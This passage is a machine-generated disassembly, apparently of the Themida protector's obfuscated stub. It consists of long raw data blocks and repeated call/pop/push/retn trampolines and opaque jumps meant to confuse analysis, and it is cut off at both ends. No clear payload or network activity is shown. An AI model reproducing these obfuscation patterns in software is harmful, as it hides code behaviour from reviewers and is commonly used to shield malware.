11E9h, 0F1CEA600h, 6080859Dh, 98A706D9h dd 90229DFCh, 481DBBDh, 57FD1924h, 56006A2Eh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0F24E564Fh dd 89C5D593h, 140D0DBDh, 0AD95FF06h, 6A061409h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0F93CC351h, 290E072Eh, 14106D8Dh, 1BD8B06h, 8906140Dh dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0D2126155h, 0E9B1B73Bh, 7, 74895F71h dd 0E9988D60h, 1F1h, 0D18D89h, 858B0614h, 617AA90h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0F2C35343h, 0BE82B6Fh dd 5000000h, 80FF808Ah, 444681Ah, 0FE9B389h, 0A5000000h dd 0E2E5C804h, 69855C3Eh, 0B776E22Dh, 0C75BBF02h, 1800h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0CCC16018h, 0B2BA78CAh, 0DF8BC05Fh, 0AA94B58Bh dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 25963FC3h, 2B059D89h, 858B0614h, 6140B29h dd 6860Fh, 0BD890000h, 6140B09h, 8E90689h, 97000000h, 1FF0715h dd 8B1F153Fh, 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0AD19828Bh, 0BD1BD8Bh dd 46890614h, 0FFB70F04h, 188F0F96h, 0E8000000h, 10h, 67209FE3h dd 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 505BB5B7h, 96DE8B66h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h dd 61612294h, 90B5FFE6h, 6A0617AAh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D8CEC357h dd 1278F2E5h, 0BD898BC3h, 6143215h, 218DB589h, 0E9680614h dd 56DE385Eh, 5BDA8B66h, 16240481h, 8921E6A5h, 142BD1BDh dd 98858D06h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 2C4DC351h, 14C7C790h dd 66C14248h, 50E844BFh, 73CC2ABBh, 24048928h, 29919D8Bh dd 95FF0614h, 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 81C35747h, 0BCE59ACEh, 10C4BCBFh, 9D89612Fh dd 61424A5h, 267185C7h, 30614h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F29C24C3h dd 14D19D33h, 0BD830614h, 617AA98h, 35840F00h, 8B000000h dd 142C7DBDh, 45E906h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0D75DEC3h, 0B5C47D2Ah, 0B7E37094h, 0DF8B661Eh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 31E7C356h, 9495C22h, 1415C99Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 80629C74h dd 74549A67h, 2671BD83h, 0F030614h, 42385h, 68C0F00h, 81000000h dd 0BF37E4EBh, 98BD8336h, 617AAh, 40A840Fh, 0B70F0000h dd 95BD8BF8h, 0FF06142Eh, 17AA98B5h, 7DE1BF06h, 95FF0933h dd 6142AF5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 42C35040h, 9531F33Dh, 6140A49h, 0AA8CB58Bh, 0CB800617h dd 106C735h, 6A000100h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 6E72C352h, 0CE862h dd 8D250000h, 0FD953A8Bh, 0C435FEE7h, 6660CF2Dh, 5621EAB8h dd 895B6158h, 1425ADBDh, 8B665006h, 243489F8h, 921BD8Bh dd 0B5FF0614h, 617AA98h, 0FFFC70B7h, 140B3195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 9C1ACC71h, 671B531h, 0B58B0614h, 617AA8Ch, 0B5315F56h dd 6142FADh, 21D5858Bh, 81660614h, 891D52EFh, 0C486h, 68F0F00h dd 89000000h, 142599BDh, 29958B06h, 0FC061432h, 6A04C283h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 733AC351h, 50896FD0h, 56006A20h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B67081F4h dd 0A1E04FDCh, 9D8BE698h, 61403ADh, 799D0360h, 89061423h dd 142E959Dh, 858D6106h, 617BE06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0D4C35646h, 8E99Fh, 0E2E60000h dd 0EA585681h, 8689B440h, 0B8h, 649BD09h, 6A0614h, 22898D89h dd 0B5FF0614h, 617AA98h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 43C35747h, 0BD5C56ADh, 6559830Fh, 9D8BFC88h dd 614085Dh, 93995FFh, 0B5890614h, 614035Dh, 8880F96h dd 0F000000h, 28Ch, 50616000h, 2850Fh, 0FD8A0000h, 0C59D8B96h dd 0FF061418h, 17AA98B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 11800FEDh dd 0E9000000h, 0Ch, 488D10FBh, 331D16C5h, 5BFDE144h, 20F595FFh dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0E01F3AC3h, 29921951h, 7DBD2384h, 8B06141Dh dd 142B8DBDh, 21BD8306h, 6140Ch, 82840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 86D6B6C3h, 97C1AD84h, 30F1B509h, 0E8500614h, 6, 841E9FA1h dd 11E95005h, 2000000h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h dd 4BF58D17h, 2434895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0B8C35646h, 622B7811h, 0E9DF8B66h, 0Ch dd 12A2EEB4h, 430E8ED5h, 5C881676h, 0AA98B5FFh, 6A0617h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 40C18CC3h, 0A14BEAE5h, 0FFDF8B11h, 1402B195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 3F25694Dh, 0BD89D8A9h, 614318Dh, 0AA98B5FFh, 6A0617h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7C4AB6C3h, 0B8B6BB66h, 308195FFh, 14E90614h, 0EC000000h dd 0EE777A9Ch, 0C300C7C3h, 775B2631h, 2D1F9E9h, 83D969C9h dd 1409F5BDh, 840F0206h, 34h, 0D4D9589h, 858B0614h, 6142D01h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DCC35242h dd 0A9831F93h, 0C67B64h, 74E78000h, 244D85C7h, 614h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0EB937C3h, 9D89D434h, 614251Dh, 0FFF3A8E9h, 0DE9FFh dd 0DF080000h, 0C200C014h, 0B78FFA97h, 8B5D91D5h, 51006AC1h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 2F972DBCh, 92DB2461h, 64BB14E3h db 0DCh, 0D6h, 68h ; --------------------------------------------------------------------------- loc_59A6BB: ; CODE XREF: Themida_:loc_599981j lea eax, [ebp+6140F99h] push 0 push ecx call sub_59A6CC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A6CC proc near ; CODE XREF: Themida_:0059A6C4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_59A6CC endp ; --------------------------------------------------------------------------- cmp eax, 0B78D9900h retn ; --------------------------------------------------------------------------- push eax loc_59A6E3: ; CODE XREF: Themida_:0059A712j jmp loc_59A6F0 ; --------------------------------------------------------------------------- dd 0E02D2768h, 0D61BEE5Fh ; --------------------------------------------------------------------------- loc_59A6F0: ; CODE XREF: Themida_:loc_59A6E3j mov [esp], eax push 0 push 0 push edx call sub_59A700 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A700 proc near ; CODE XREF: Themida_:0059A6F8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_59A700 endp ; --------------------------------------------------------------------------- stc push cs jz short loc_59A6E3 cmpsb mov edi, [ebp+6140969h] push 0 push 0 push edi call sub_59A728 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A728 proc near ; CODE XREF: Themida_:0059A720p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_59A728 endp ; --------------------------------------------------------------------------- mov ch, 65h mov ebx, [ebp+614321Dh] and di, 917Bh lea eax, [ebp+6191D57h] mov di, ax add eax, 5 push 0 push eax call sub_59A75C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A75C proc near ; CODE XREF: Themida_:0059A754p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_59A75C endp ; --------------------------------------------------------------------------- movsb mov esi, 693DB07Dh xor eax, 669617D5h mov edi, 0B790ABEFh db 3Eh push eax pusha jno loc_59A790 jmp loc_59A790 ; --------------------------------------------------------------------------- dw 0A879h dd 0ED976B14h ; --------------------------------------------------------------------------- loc_59A790: ; CODE XREF: Themida_:0059A77Fj ; Themida_:0059A785j popa nop sub [ebp+6142B05h], edi jmp loc_59A7A2 ; --------------------------------------------------------------------------- db 0DBh, 1Eh, 68h db 28h, 6Bh ; --------------------------------------------------------------------------- loc_59A7A2: ; CODE XREF: Themida_:0059A798j push 0 mov edi, [ebp+61404DDh] push 0 push 0 push esi call sub_59A7B7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A7B7 proc near ; CODE XREF: Themida_:0059A7AFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_59A7B7 endp ; --------------------------------------------------------------------------- xor [ebx-1Bh], edx fstp tbyte ptr [ebp-1] xchg eax, ebp jno short loc_59A7EA adc al, 6 push 0 push eax call sub_59A7DD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A7DD proc near ; CODE XREF: Themida_:0059A7D5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h loc_59A7EA: ; CODE XREF: Themida_:0059A7CEj inc eax push eax retn sub_59A7DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov cl, dh dec ebp push cs inc eax push 4C18589h adc al, 6 lea ecx, [ebp+617A8FCh] push 0 push edx call sub_59A80A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A80A proc near ; CODE XREF: Themida_:0059A802p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_59A80A endp ; --------------------------------------------------------------------------- dw 9BABh dd 8DB13963h, 0C23803DFh, 8880Fh, 89600000h, 1434BD8Dh dd 0D1FF6106h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 9BC35141h, 847995DEh, 0BD83FA5Eh, 61412CDh, 0D3850F01h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E93FC353h, 10h, 9D31281Eh, 6D11A745h dd 0CC29EAB3h, 0C4A92332h, 0F98B6652h, 6A026A5Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 6F63C355h, 66B78AF2h, 7E87598h, 0C4000000h, 0F2B08CE0h dd 8B66DD55h, 0E9505BF8h, 5, 0B769EFC9h, 2404897Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4C35343h, 6178B73Ch dd 0E971DE9Fh, 6, 76A1E0Dh, 0BB667B0Ah, 95FFCC92h, 6140939h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h dd 0DD43CBEDh, 0D2E9D5B3h, 0E800000Ch, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6191D61h push 0 push edx call sub_59A952 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A952 proc near ; CODE XREF: Themida_:0059A94Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_59A952 endp ; --------------------------------------------------------------------------- dw 0E26Bh ; --------------------------------------------------------------------------- push esp fsub qword ptr [ebp-23h] movsx ebx, si mov ebx, 5D2D9014h lea eax, [ebp+6179623h] movsx edi, cx push eax jnp loc_59A985 mov edi, 3E9551C7h loc_59A985: ; CODE XREF: Themida_:0059A97Aj mov [esp], eax push large dword ptr fs:0 push 0 push ecx call sub_59A99A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A99A proc near ; CODE XREF: Themida_:0059A992p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_59A99A endp ; --------------------------------------------------------------------------- lea edx, [ebx] or [eax-2Fh], ah retf ; --------------------------------------------------------------------------- dd 0CE826F7h, 54000000h, 7D49A113h, 848AA61h, 89DBEE1Fh dd 14052585h, 89645B06h, 25h, 0CB816600h, 9589BE2Ch, 61434D1h dd 236D85FFh, 7E90614h, 31000000h, 0C197EF77h, 6AFCB5D9h dd 0B99D8BFFh, 8B06142Ah, 140379BDh, 95B5FF06h, 6A06142Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 128EC355h, 397E6189h, 74DC3586h, 0FF88C380h dd 142B1995h, 0D7E906h, 0BF0F0000h, 6600B0DBh, 0CD66F781h dd 0E4F570E6h, 95EF8071h, 830F613Ch, 0BDh, 8BC8B60Fh, 1430E99Dh dd 6BA06h, 0F3B30000h, 1D719D8Bh, 0C18B0614h, 0D9816660h dd 0BA662FB3h, 0C161FCB8h, 0E96004E8h, 10h, 0F833712Eh dd 0A00FC4DFh, 18C35979h, 7B1D3F6h, 1635B589h, 66610614h dd 0BD8BE2F7h, 6140335h, 0D18BC82Bh, 25CD8531h, 62E90614h dd 89000000h, 14266DBDh, 4C858B06h, 29505F4Ch, 1409FD85h dd 7C08306h, 0BB00C083h, 4F562C78h, 830FD03Bh, 9, 37E9F9h dd 8AF90000h, 0FF8D8BDAh, 83FFFFFFh, 840F01E1h, 25h, 1FB5BD31h dd 0A5830614h, 0FFFFFFFFh, 9D0BF9FEh, 6140825h, 4C4C9589h dd 9D89505Fh, 6140C1Dh, 0E9h, 33B58D00h, 6A06189Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8A3CC350h, 0FA8B66D9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0FFF886C3h, 14116995h dd 6890F06h, 2B000000h, 141939BDh, 1DB52906h, 0B9061406h dd 105Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 6DC35646h, 2A558531h, 0E1830614h, 55006AFCh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 1DFA3D73h, 59B501FCh, 2B06142Ah, 0BAC0h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 440961C3h, 9D29D757h, 61415FDh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0C9C35242h, 0CC2137BFh, 50006A72h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 1F9ECAC2h dd 880D0924h, 8B000000h, 29958BD8h, 89061432h, 142ED9B5h dd 4D8D8B06h, 6A061406h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 9C62C353h, 0A20BA410h dd 0E91CD28Dh, 0Dh, 54348E9Bh, 356584FEh, 0AC5E479h, 1CBF6631h dd 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F958188Bh dd 29ADBD83h, 0F000614h, 1984h, 0B8F900h, 66000000h, 8DBBA5BFh dd 144D798Dh, 0DB816606h, 0E1FF2C58h, 0BD83DF8Bh, 6142671h dd 0A8840F00h, 8B000004h, 1406BD9Dh, 8E906h, 9DE90000h dd 5794420Dh, 0BD832227h, 6142671h, 0A3840F01h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 6781C355h, 665CDF81h, 0BD833984h, 6142671h dd 3D860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 896FC355h, 1419AD9Dh dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0F3BB9FC3h, 0C14BCA51h, 0B531FC85h, 614084Dh dd 0F8D98C66h, 8B04E180h, 142C85BDh, 0FC90A06h, 1C784h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8A60E046h, 61D18BF8h, 1969858Bh, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0FED542C3h, 4001061Bh, 0E2040BBh, 8185337Ah, 6A06141Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 76D9C352h, 77480FDCh, 0E998A22Ch, 0Ah, 0E8D59C3Dh dd 0F464878h, 50504012h, 0E8525052h, 0Eh, 24233FDFh, 0E2B9E30Dh dd 0D5EA078Ah, 0F5B1BD6h, 5AFE8B31h, 0E8310F58h, 5, 69740082h dd 870F9Eh, 5F000000h, 489585Ah, 0C1BD2324h, 6A06142Bh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 51FC2CD9h, 89624BFDh, 14310D95h, 9CF06806h dd 505376C7h, 810F52h, 0F000000h, 10E831h, 0B05C0000h dd 106CA522h, 0F99904D4h, 0D647B7A1h, 5A5F20E5h, 34815F58h dd 0D89F0F24h, 55006A76h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 3F3210BAh, 0CF81661Ch dd 95FF90CBh, 61409ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 9AC35545h, 0A830F90h, 60000000h, 4D9B52Bh dd 0EE8A0614h, 258D2961h, 89061402h, 17AA9885h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0FF107D5Eh, 0B8E9B090h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6D24C352h dd 0AA90858Bh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 806E40C3h, 8F8E04F3h, 0B65218BBh dd 9985016Dh, 0C7061409h, 1800h, 0DE8B6600h, 1B99BD89h dd 0B58B0614h, 617AA94h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 1FC35747h, 8B52C21Dh, 140B2985h, 819D2906h dd 89061407h, 0D59D2306h, 8B06141Ch, 14196985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0FE220B24h, 0EAB0344Ah, 6A044689h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F54EC352h dd 22D4C6CEh, 8973B750h, 66562434h, 5FEDDFBBh, 90B5FFFCh dd 8B0617AAh, 1421F5BDh, 0A54C6806h, 6E824F1h, 70000000h dd 691FB956h, 6ABB66C7h, 34815F16h, 0EEA6B324h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 98858D0Dh, 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8964C357h, 140839BDh dd 9D9D8B06h, 50061408h, 0CE9h, 0F141C00h, 9DCD9470h, 0B47DDA89h dd 240489ECh, 0C830Fh, 8D0F0000h, 6, 1A899589h, 0B5890614h dd 6141B6Dh, 9AD95FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 500972C3h, 615BDC8Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 78C35242h dd 5E6934E9h, 661BACC5h, 0C7BA30BFh, 14267185h, 306h, 0FDB50900h dd 83061425h, 17AA98BDh, 840F0006h, 34h, 5FF98B57h, 46E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0BF724BEDh, 0F21AE6Ah, 8589DFB7h, 6141535h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h dd 0BD8BFA8Bh, 6142515h, 83FBB70Fh, 142671BDh, 850F0306h dd 3F5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0B3C35141h, 682132AAh, 0DB816635h, 0BD833CEFh dd 617AA98h, 0C2840F00h, 81000003h, 0E0CF98C7h, 79BD8B4Ah dd 0FF061431h, 17AA98B5h, 68A0F06h, 29000000h, 14321595h dd 0F595FF06h, 106142Ah, 141B1DB5h, 8CB58B06h, 0B30617AAh dd 106C748h, 0E9000100h, 9, 3CBE553Dh, 4C15DAB1h, 57C381ACh dd 5028EE45h, 3489F98Ah, 0BD8BF824h, 614322Dh, 0AA98B5FFh dd 8D890617h, 6140031h, 0B3195FFh, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 81B814C3h dd 7B41E4DBh, 0B58BF96Bh, 617AA8Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 49C35242h, 59BD8B67h, 8906140Ch dd 14142D95h, 0D5858B06h, 0F061421h, 687h, 0A0CF8100h dd 8919022Fh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 958BBE3Ch, 6143229h, 28E0Fh dd 0DD8A0000h, 83F88B66h, 9D8B04C2h, 6142989h, 0F5205089h dd 291B589h, 858D0614h, 617BE06h, 17880Fh, 12E90000h, 2E000000h dd 0D54EA313h, 2DD88652h, 3A9F5D9Bh, 717948B1h, 0B88689E4h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0F301C357h, 17A159B7h, 0BD8B2D82h dd 6141711h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FF0569C3h, 17AA98B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 4DC78198h, 0FF4C46D0h, 14093995h, 53609606h, 6658C88Bh dd 6178EEBFh, 50606050h, 5A310F52h, 0FE858h, 16CB0000h dd 0F98412CBh, 640941A6h, 0F04AD2DBh, 0F615ACBh, 28Fh dd 61616000h, 0B5FFF596h, 617AA98h, 21F5BD8Bh, 95FF0614h dd 61420F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0C9C35040h, 75201DC5h, 0C21BD83h, 0F000614h, 8484h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0CCD9D29h, 6830Fh, 9D8B0000h, 6142EA5h dd 0E8525050h, 0Eh, 666BE5E3h, 0AD0FE774h, 238B746Ah, 0BE92510h dd 0E6000000h, 10A437AFh, 0A52D6A7Ch, 0F5BD8ADh, 4D6BB31h dd 585A3464h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 9462C357h, 8B2DF337h dd 142EC99Dh, 98B5FF06h, 6A0617AAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 7E6EC350h dd 0DE828h, 0F8430000h, 7C1A2C4Fh, 789750D4h, 81F0EB41h dd 0EE3AE7CFh, 0E3815F1Fh, 709BF455h, 2B195FFh, 81660614h dd 0FF90D3CBh, 17AA98B5h, 0A9B53106h, 0FF06140Fh, 14308195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 9CC110FFh, 33EC0439h, 0FFBF0F05h, 0EE8h dd 0CF28DC00h, 0DC19B30Ah, 0A7D3CC78h, 89D6AF5Fh, 14052D95h dd 0BD835B06h, 61409F5h, 36840F02h, 29000000h, 140E6985h dd 1858B06h, 8B06142Dh, 142CA9BDh, 0C606h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FCC35646h, 43BF665Ch dd 4D85C709h, 61424h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0F54BC351h, 8B1A3CB9h dd 1424F59Dh, 0F42DE906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 5CC73FC3h, 6AC18BBCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0ABC7C356h, 15EEF1A1h, 0F5FF46B8h, 25E408BFh dd 99858D2Ah, 6A06140Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0B347C352h, 0BEB36144h dd 0F59FA3F2h, 0B7525090h, 52310F02h, 5BD98B66h, 6650585Ah dd 0E890DA8Bh, 12h, 0D128BEA9h, 0AF216343h, 9193CE38h dd 93DE7173h, 9D8BC9A1h, 61406BDh, 6A006A5Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0CB57C356h, 0F006ACDh, 68Ah, 45BD2300h, 8B061408h, 142C2DBDh dd 17858D06h, 6A06192Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0B272C357h, 9E9C7087h dd 291B97B9h, 14165DB5h, 0A58D0906h, 83061423h, 8B6605C0h dd 0FD8A90DAh, 9034B750h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 6BC35545h, 58BFCA47h, 6A2B6028h, 5ABF6600h dd 66006A2Ah, 0FFA0FABBh, 141A7195h, 25BD8B06h, 8D061416h dd 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0BF8C1B2Ch, 53E31913h, 6AD1FFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 1F6BFCC3h, 7E94B2Bh, 0F6000000h, 0AFC66B85h, 9D098197h dd 61409A9h, 12CDBD83h, 0F010614h, 7185h, 89026A00h, 14159195h dd 12E99006h, 54000000h, 7899A551h, 0B4FE0463h, 462A6C97h dd 6EBA3CD9h, 90B750DAh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 567A9539h, 782E103h, 95FF1052h dd 6140939h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 85C35242h, 23ADB589h, 5DE90614h, 0E8000010h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6192C21h push 0 push edi call sub_59B812 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B812 proc near ; CODE XREF: Themida_:0059B80Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_59B812 endp ; --------------------------------------------------------------------------- inc eax pusha cdq sub eax, 8D29F892h or eax, 8906141Dh mov ebp, 6140C2Dh push edx mov ebx, 5915444Eh pop ebx push eax mov bx, 0A6D2h pop edi lea eax, [ebp+6179623h] push 0 push eax call sub_59B852 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B852 proc near ; CODE XREF: Themida_:0059B84Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_59B852 endp ; --------------------------------------------------------------------------- dw 8D69h ; --------------------------------------------------------------------------- pop es cmpsd inc ebx sbb [eax+esi*8+50h], ecx jg loc_59B873 mov bl, 42h loc_59B873: ; CODE XREF: Themida_:0059B86Bj mov [esp], eax push 0 push eax call sub_59B881 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B881 proc near ; CODE XREF: Themida_:0059B879p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 